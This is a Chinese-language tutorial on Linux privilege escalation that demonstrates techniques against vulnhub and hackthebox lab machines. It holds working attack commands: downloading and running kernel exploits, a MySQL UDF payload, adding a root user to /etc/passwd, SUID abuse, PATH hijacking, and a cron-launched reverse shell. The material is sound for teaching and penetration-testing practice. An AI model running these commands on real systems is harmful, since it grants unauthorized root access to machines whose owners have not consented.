Linux 提权杂记

Linux 提权杂记

0x00 前言

linux提权按类型划分可以归类为以下几种:

  • 内核漏洞利用

  • root权限运行程序

  • 组件服务

  • 弱/重复/明文密码

  • 配置错误

  • suid/Guid配置错误

  • 滥用sudo权限

  • root运行但普通用户可写的脚本

  • PATH提权

  • 定时任务

  • nfs

    在演示上述漏洞之前我们需要了解linux权限划分和什么是提权?

0x01 什么是提权?

权限提升是利用操作系统或软件应用程序中的错误、设计缺陷或配置疏忽来获得对通常不受应用程序或用户保护的资源的提升访问权限的行为。结果是,具有比应用程序开发人员或系统管理员预期更多权限的应用程序可以执行未经授权的操作。

系统上的root账号拥有对操作系统的完全管理级别访问权限,我们有时候渗透过程获取的linux账号可能是普通用户权限对操作系统的操作有限。因此我们需要想法设法把自身权限提高来进行其他操作。

0x02 Linux权限划分

1.权限抽象

一个完整的权限管理体系,要有合理的抽象。这里就包括对用户、进程、文件、内存、系统调用等抽象。

至于什么是抽象?我是这么理解,可以把抽象想象成一个根据类别分化的领域。

比如用户的抽象可以想象成用户的领域,这个领域里用户会根据类别或其他特征进行分化。同时用户的领域是可以在系统的领域里面。领域不只是单独存在还可以像套娃一样的存在。

现在,我们来说一下用户和组Linux是一个多用户平台,允许多个用户同时登录系统工作。Linux将用户抽象成了账号,账号可以登录系统,比如通过登录名+密码的方式登录,或者通过证书的方式登录。

但是为了方便每个用户的权限,Linux还支持组(Group)账户。组账户时多个账户的集合,组可以为成员们分配某一类权限。每个用户可以在多个组,这样就可以利用组给用户快速分配权限。

组的概念有点像微信群。一个用户可以在多个群中,用户可以在A群获取股票的信息,同时又在B群获取期货的信息。这都不会冲。如果两个群的内容都相同时,也不会对用户造成任何的冲突。

每个组管理员可以理解为微信群群主,对自己群内的人员有一定的管理权限,root管理员可以理解为微信开发人员对微信有完全控制的权限。

此外,Linux还对文件进行了权限抽象(注意目录也是一种文件)。Linux中一个文件可以设置下面3种权限:

  • 1.读权限(r:Read):控制读取文件

  • 2.写权限(w:Write):控制写入文件‘

  • 3.执行权限(x:Execute):控制将文件执行,比如脚本、应用程序

    如果一个脚本能正常运行那么它一定会用执行权限和读权限

image-20220210164027438

然后每个文件又可以从3个维度去配置上诉的3种权限

  • 1.用户维度。每个文件所属1个用户,用户维度配置的rwx在用户维度生效

  • 2.组维度。每个文件可以所属1个分组,组维度配置的rwx在组维度生效

  • 3.全部用户维度。设置对所有用户的权限

    一个文件设置为组权限就代表它可以被主组(初始组)内的成员进行rwx操作,如果是附加组需要登录后切换才能进行操作。

image-20220210171259737

图上有两个文件权限,分别是drwxr-xr-x-rw-r--r--

1位:表示文档类型,取值常见的有:

  • d 表示文件夹

  • ``- 表示文件`

  • 1 表示软连接

  • s 表示套接字

  • p 表示管道

    2-4位:按照顺序(位置顺序是不会变的),分别代表:

  • 读(r)权限

  • 写(w)权限

  • 执行(x)权限

  • - 代表无权限

    5-7位同理

    8-10位同理

    权限分配种,均是rwx的三个参数组合,且位置顺序不会变化,没有相对应权限就用-代替

    但是每个位置的权限代表不同领域,以顺序为例:

  • 1 代表文件类型

  • 2-4 代表文件拥有者权限

  • 5-7 代表同组用户的权限

  • 8-10 代表其他用户,即非同组、非文件所有者外的权限

    我们有时候使用chmod赋予文件777权限,其实就是赋予rwxrwxrwx权限,至于为什么rwx会转成7

    Linux每个文件都包含控制权的8位数据。在二进制形式中,000代表不授予任何形式权限

    当我们设置r权限时,它会向数据添加4位,使其成为100(二进制格式),转成十进制为4。设置w权限时将在数据中添加2位,二进制为010,十进制为2。最后设置x权限时数据会添加1位,二进制为001,十进制为1。简而言之:

  • r相当于4

  • w相当于2

  • x相当于1

    至于为什么r权限会是4呢,那就是要看linux权限排列

  • 0:无权限

  • 1:执行

  • 2:写

  • 3:写入和执行

  • 4:阅读

  • 5:读取和执行

  • 6:读写

  • 7:读、写和执行

现在我们看到指令权限分化和passwd权限分化

id指令

image-20220210173722222

  • uid是用户id
  • gid是组id
  • groups 后面是每个分组和分组的id,第一个组是初始组,后面是附加组

/etc/passwd文件

/etc/passwd这个文件存储了所有用户信息,如图所示

image-20220210173948352

现在我们需要了解每一个文件参数代表的意思,拿root举例

1
root:x:0:0:root:/root:/bin/bash
  • root 代表用户名

  • x 代表密码

  • 0 代表uid

  • 0 代表gid

  • root 代表user id信息

  • root 代表home目录

  • /bin/bash 代表 shell路径

    现在了解了什么是提权权限分化那么可以开始提权演示了。

参考链接

https://learn.lianglianglee.com/%E4%B8%93%E6%A0%8F/%E9%87%8D%E5%AD%A6%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F-%E5%AE%8C/08%20%20%E7%94%A8%E6%88%B7%E5%92%8C%E6%9D%83%E9%99%90%E7%AE%A1%E7%90%86%E6%8C%87%E4%BB%A4%EF%BC%9A%20%E8%AF%B7%E7%AE%80%E8%BF%B0%20Linux%20%E6%9D%83%E9%99%90%E5%88%92%E5%88%86%E7%9A%84%E5%8E%9F%E5%88%99%EF%BC%9F.md

https://www.maketecheasier.com/file-permissions-what-does-chmod-777-means/

0x03 内核利用

各种Linux内核版本都存在内核级漏洞利用。一个非常著名的例子就是Dirty COW (CVE-2016-5195),俗称脏牛漏洞。该漏洞利用内核中的漏洞以root权限执行代码。

有些内核漏洞只需要下载编译运行就可以完成一次攻击,甚是简单。但是有一些内核漏洞需要修改payload没那么简单,需要微调。但是总体来说内核漏洞提权是一个普遍存在的方式。

注意:利用内核漏洞有可能导致系统不稳定,因此在针对生产系统运行内核漏洞需要注意

演示

环境环境:ubuntu 14

在演示过程我使用内核漏洞时经常导致系统奔溃,所以在实际情况使用内核漏洞提权可称为下下策

uname -a查询内核信息

image-20220211003432412

查询到内核信息后还可以查询lsb-release,这个lsb-release不是所有Linux都有的。

image-20220211003507019

使用GoogleExploit-db查询版本内核相关漏洞

image-20220211003531805

exploits下载下来,开始编译

1
gcc -o 37292 37292.c

将编译的poc上传到目标

然后赋予权限运行

1
2
3
wget http://10.10.10.10/37292
chmod 777 ./37292
./37292

image-20220211003737388

0x04 root权限运行程序

root权限运行程序这个故名思意就是以root权限运行程序,比如mysqlRedis等。我这里使用mysql作为演示,因为这个很经典。

演示

环境: vulnhub-Raven

使用ps -aux | grep mysql搜索mysql服务

1
2
3
4
5
michael@Raven:~$ ps -aux | grep mysql

root 555 0.0 0.3 4340 1624 ? S 06:50 0:00 /bin/sh /usr/bin/mysqld_safe
root 916 0.1 10.3 552212 50720 ? Sl 06:50 0:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=root --log-error=/var/log/mysql/error.log --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306
michael 1113 0.0 0.3 12704 1792 pts/0 S+ 06:53 0:00 grep mysql

当前mysql是以root权限运行

使用udf动态库进行提权

1518.c

1518.c编译成1518.so

1
gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.c -lc

登录mysql服务

需要注意mysql的root跟linux的root是两回事

image-20220211040726564

登录mysql后执行下面命令

命令意思分别是:

  • 选择mysql
  • 创建foo表,添加blob
  • 加载/tmp/1518.so文件
  • 转储文件到/usr/lib/mysql/plugin/1518.so
  • 创建do_system函数,调用do_system函数运行命令
1
2
3
4
5
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/1518.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
create function do_system returns integer soname '1518.so'; select do_system('cp /bin/bash /tmp/stef; chmod +xs /tmp/stef');

image-20220211041202573

运行创建的命令就可以获取root权限

1
2
3
4
5
6
/tmp/stef -p

michael@Raven:/tmp$ /tmp/stef -p
stef-4.3# whoami
root
stef-4.3#

参考链接

https://www.hackingarticles.in/hack-the-raven-walkthrough-ctf-challenge/

https://steflan-security.com/linux-privilege-escalation-exploiting-user-defined-functions/

0x05 组件服务

组件服务提权包含一些系统自带的软件和用户自行安装的软件都在其中。

我采用sudo(CVE-2021-3156)漏洞进行演示

演示

环境:vulnhub-devguru

使用脚本获取Linux软件版本

image-20220211181557488

使用Googleexploit-db查询相关版本漏洞

image-20220211181658911

将获取的脚本上传到目标

运行脚本

1
python exploit_nss.py

image-20220211181814247

当然不是所有组件漏洞都可以如此完美运行,提权的过程就如同人生充满了意外。

0x06 弱/重复/明文密码

如果进入服务时,我们拥有一个或多个密码,可以先尝试这些密码能否帮助我们获取更高权限。

如果不能,那我们可以检测连接数据库的文件(config.php或类似文件)。或者检查dockerfile等文件脚本。

演示

环境:hackthebox-Unbalanced

使用linpeas.sh搜索服务敏感信息

看到root文件下的sh,但是我们有查看的权限

image-20220211191515488

查看/root/pihole_config.sh

image-20220211191639343

尝试密码是否能使用

image-20220211191832280

参考链接

https://y4th0ts.medium.com/unbalanced-hackthebox-c8d086b6f524

0x07 配置错误

Linux中提权所利用的配置错误,很多时候都是利用权限配置错误。比如/etc/passwd文件权限配置错误,给普通用户拥有对其文件写入的权限。或者普通用户拥有对/etc/shadow文件读取权限等。

演示

环境:ubuntu 16

查看/etc/passwd权限配置

1
ls -la /etc/passwd

image-20220212004652327

当前用户拥有对passwd文件的rwx权限,直接添加用户到passwd即可提权。

使用openssl创建密码,有时候linux系统禁止空密码登录,因此我们最好是创建拥有密码的用户。

1
2
test@ubuntu:/tmp$ openssl passwd -1 -salt user passwd123
$1$user$TTjQ5OzFhMNL/GYeI9xq9.

写入/etc/passwd

1
echo "user:$1$user$TTjQ5OzFhMNL/GYeI9xq9.:0:0:root:/root:/bin/bash" >> /etc/passwd

我们登录user用户就会切换到root权限

image-20220212005433098

0x08 滥用sudo权限

sudo是一个类unix系统软件,它使用户能够以其他用户的安全权限运行程序,默认情况下是root权限。sudo提权在ctf环境中也是经常出现,不过现实实际情况比较小。

演示

环境:vulnhub-devguru

sudo -l查看sudo是否存在滥用行为

image-20220212010842100

sqlite3无需密码即可调用root权限

1
sudo -u#-1 sqlite3 /dev/null '.shell /bin/bash'

image-20220212011006346

0x09 suid/sgid 可执行文件

SUID(set user ID)SGID(set group ID)是可以对可执行文件设置的两个特殊权限,这些权限允许正在执行的文件以所有者或组的权限执行。suidsgid标志只对可执行二进制文件有影响,对脚本(如:bashpythonperl)是没有影响。

  • suid: 可执行文件的特殊文件权限。这使其用户都能够执行该文件。包括非文件所有者(组)以外的人。是s
  • sgid: 这也是可执行文件的特殊权限,不同的是其他用户可以继承组所有者的有效gid

演示

环境:vulnhub-HaWordy

枚举可执行的二进制文件

1
find / -perm -u=s -type f 2>/dev/null

image-20220212025631882

这么多二进制文件,如果想知道哪些是可以利用提权。这就需要google以及经验了,或者使用一些脚本来获取可利用的二进制文件。

根据查询结果发现wget、cp都是可以利用来提权的

查看/etc/passwd文件信息,把文件信息都复制到kali

使用openssl创建用户,加到passwd

1
2
test@ubuntu:/tmp$ openssl passwd -1 -salt user passwd123
$1$user$TTjQ5OzFhMNL/GYeI9xq9.

image-20220212031658372

使用wget远程下载password/etc

1
wget http://10.10.10.10/passwd -O /etc/passwd

使用user就可以变成root权限

image-20220212031759748

0x0A root运行但普通用户可写的脚本

标题写的很明白,好像没什么可说的…

演示

环境:vulnhub-SkyDogCTF

使用命令快速搜索可写的文件

1
find / -writable -user root -type f  2>/dev/null >>/tmp/find

image-20220212035240730

/lib/log/sanitizer.py属于root权限,但是普通用户可写。至于其他权限还需要去查看

1
2
wernerbrandes@skydogctf:/tmp$ ls -la /lib/log/sanitizer.py
-rwxrwxrwx 1 root root 96 Oct 27 2015 /lib/log/sanitizer.py

我们拥有sanitizer.pyrwx权限,现在要利用sanitizer.py进行提权

1
2
3
4
5
6
7
#!/usr/bin/env python
import os
import sys
try:
os.system('chmod u+s /bin/sh')
except:
sys.exit()

运行脚本

image-20220212035809340

0x0B PATH提权

路径提权是一个经典的提权方式,在各种ctf环境你会经常遇到这种类型的提权。

演示

环境:vulnhub-nullbyte

寻找可利用的二进制文件

1
find / -perm -u=s -type f 2>/dev/null

image-20220212045809039

/var/www/backup/procwatch比较像是备份使用的文件,运行看下

1
2
3
4
5
ramses@NullByte:~$ /var/www/backup/procwatch
PID TTY TIME CMD
1353 pts/0 00:00:00 procwatch
1354 pts/0 00:00:00 sh
1355 pts/0 00:00:00 ps

只是执行ps命令,没事。使用$PATH可以获取procwatch脚本的权限

1
2
3
4
echo "/bin/sh" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH

重新执行/var/www/backup/procwatch

image-20220212045729957

0x0C 定时任务

Linux定时任务称为crontab,用来以固定时间、日期或间隔定时运行任务。

演示

环境:vulnhub-sar

查看定时任务

1
cat /etc/crontab

image-20220212052649392

finally.sh会每隔5分钟运行一次

现在我们查看一下finally.sh脚本内容

1
2
3
4
5
$cat /var/www/html/./finally.sh
#!/bin/sh

./write.sh

finally.sh调用write.sh,有点像套娃

查看write.sh

1
2
3
4
$cat write.sh
#!/bin/sh

touch /tmp/gateway

创建一个gateway文件就结束了

查看两个脚本的权限

image-20220212053118449

finally.sh我们无法修改,但是write.sh可以修改

1
echo "php ./php-reverse-shell.php" > write.sh

这时候kali开启nc等待5分钟就可以获取shell

image-20220212054632467

0x0D nfs

网络文件共享(NFS)是一种协议,允许他人通过网络与其他linux客户端共享文件,同时还需要其他人对文件进行权限修改。

演示

环境:vulnhub-0rcus

查看端口开放

1
netstat -tunlp

image-20220212071854427

目标开放了很多端口,其中就包括nfs使用的2049端口

创建test.c

1
2
3
4
5
6
int main(void){
setresuid(0, 0, 0);
system("/bin/bash");

}

上传test.c到目标,然后使用gcc目标服务器上编译

image-20220212070839112

kali上挂载nfs,如果没安装nfs-common是无法挂载

1
2
3
mount -t nfs 10.10.10.10:/tmp /tmp
sudo chown root:root t
sudo chmod u+s t

回到目标服务器

1
2
cd /tmp
./t

image-20220212071307197

0xE 工具

利用工具进行辅助提权,会让我们干活事半功倍。但是如果仔细介绍工具感觉又可以水一篇文章,所以我会简单的一句话概况。

1.LinPEAS

linpeas是一个不错寻找敏感(password)信息的提权脚本

https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS

2.LinEnum

LinEnum会服务器内基本提权需要的信息都会枚举出来

https://github.com/rebootuser/LinEnum

3.linux-exploit-suggester

linux-exploit-suggester根据软件版本进行cve漏洞判断,就像一些厂商扫描器判断漏洞那样子。你懂得~

0x0F 结言

上面的提权演示由相当一部分是属于重复类型。比如root权限运行的mysql就属于组件服务root权限运行程序的提权方式。不过没关系,上面这些演示是为了更了解linux提权方式。

推荐一下vulnhub靶机提权练习,如果想自己练习提权可以点击链接自己寻找。

Privilege-Escalation